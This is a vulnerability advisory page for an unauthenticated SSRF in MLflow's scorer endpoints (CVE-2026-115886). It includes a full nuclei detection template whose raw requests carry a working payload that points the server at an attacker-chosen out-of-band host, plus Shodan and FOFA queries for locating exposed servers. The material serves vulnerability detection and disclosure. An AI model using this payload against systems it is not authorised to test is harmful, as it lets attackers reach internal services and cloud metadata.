Browse / CVEs / CVE-2026-115886
CVE-2026-115886· mlflow / mlflow· CWE-470, CWE-918
MLflow <3.17.0 - Unauthenticated SSRF via Third-Party (TruLens) Scorer
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission.
Impact
An unauthenticated attacker can coerce the MLflow server into making outbound requests to arbitrary internal or external hosts with attacker-controlled headers, enabling access to internal services, cloud metadata endpoints, and other resources reachable from the server.
Fix
Upgrade MLflow to 3.17.0 or later, which constrains third-party scorer classes and their constructor kwargs.
How to confirm it
Send: POST /api/2.0/mlflow/experiments/create ; POST /v1/traces ; POST /ajax-api/3.0/mlflow/scorer/invoke
Positive when: contains in interactsh_protocol "http" or "dns" AND contains "job_id"Run it with nuclei: nuclei -id CVE-2026-115886 -u <target>
The full check
id: CVE-2026-115886
info:
name: MLflow <3.17.0 - Unauthenticated SSRF via Third-Party (TruLens) Scorer
author: kosoyyagent
severity: medium
description: |
MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. From 3.12.0rc0 until 3.17.0, the scorer invoke, register, and GenAI evaluate endpoints, including unauthenticated POST /ajax-api/3.0/mlflow/scorer/invoke, accept serialized third-party scorer data that Scorer.model_validate_json resolves using a module-path allowlist without constraining the selected class or its constructor arguments. When optional trulens and trulens-providers-litellm packages are installed, an attacker can select mlflow.genai.scorers.trulens, choose a model URI outside MLflow's native provider registry so execution uses the LiteLLM fallback, and supply api_base and api_key values that cause the server to send an outbound request to an attacker-chosen or internal host with attacker-controlled headers and body. The vulnerable deserialization occurs before a tracking-store lookup or job submission.
impact: |
An unauthenticated attacker can coerce the MLflow server into making outbound requests to arbitrary internal or external hosts with attacker-controlled headers, enabling access to internal services, cloud metadata endpoints, and other resources reachable from the server.
remediation: |
Upgrade MLflow to 3.17.0 or later, which constrains third-party scorer classes and their
constructor kwargs.
reference:
- https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5
- https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f
- https://github.com/mlflow/mlflow/pull/25890
- https://github.com/mlflow/mlflow/releases/tag/v3.17.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-115886
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2026-115886
epss-score: 0.00676
epss-percentile: 0.52559
cwe-id: CWE-470,CWE-918
metadata:
verified: true
max-request: 3
vendor: mlflow
product: mlflow
shodan-query: http.title:"MLflow"
fofa-query: title="MLflow"
tags: cve,cve2026,mlflow,ssrf,oast,unauth,oss,vkev
variables:
oid: "{{hex_encode(rand_base(16))}}"
sid: "{{hex_encode(rand_base(8))}}"
ikey: "{{rand_base(12)}}"
http:
- raw:
- |
POST /api/2.0/mlflow/experiments/create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"name":"{{rand_base(10)}}"}
- |
POST /v1/traces HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
x-mlflow-experiment-id: {{eid}}
{"resourceSpans":[{"resource":{"attributes":[]},"scopeSpans":[{"scope":{},"spans":[{"traceId":"{{oid}}","spanId":"{{sid}}","name":"s","kind":1,"startTimeUnixNano":"1750000000000000000","endTimeUnixNano":"1750000000000000000","attributes":[{"key":"mlflow.spanInputs","value":{"stringValue":"{\"x\":\"hi\"}"}},{"key":"mlflow.spanOutputs","value":{"stringValue":"\"a coherent response\""}},{"key":"mlflow.spanType","value":{"stringValue":"\"UNKNOWN\""}}],"status":{}}]}]}]}
- |
POST /ajax-api/3.0/mlflow/scorer/invoke HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"experiment_id":"{{eid}}","serialized_scorer":"{\"name\":\"Coherence\",\"third_party_scorer_data\":{\"module\":\"mlflow.genai.scorers.trulens\",\"class\":\"Coherence\",\"metric_name\":\"Coherence\",\"model\":\"openai:/gpt-4o\",\"kwargs\":{\"api_base\":\"http://{{interactsh-url}}\",\"api_key\":\"{{ikey}}\"}}}","trace_ids":["tr-{{oid}}"]}
extractors:
- type: regex
name: eid
part: body
internal: true
group: 1
regex:
- '"experiment_id"\s*:\s*"?([0-9]+)"?'
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- "dns"
condition: or
- type: word
part: body
words:
- "job_id"References
- https://github.com/mlflow/mlflow/security/advisories/GHSA-2wqp-q3c6-ccj5
- https://github.com/mlflow/mlflow/commit/bac30b4148c4f40045b4d4db07ae60ab3838803f
- https://github.com/mlflow/mlflow/pull/25890
- https://github.com/mlflow/mlflow/releases/tag/v3.17.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-115886
Use this check only on systems you are authorised to test. Where the data comes from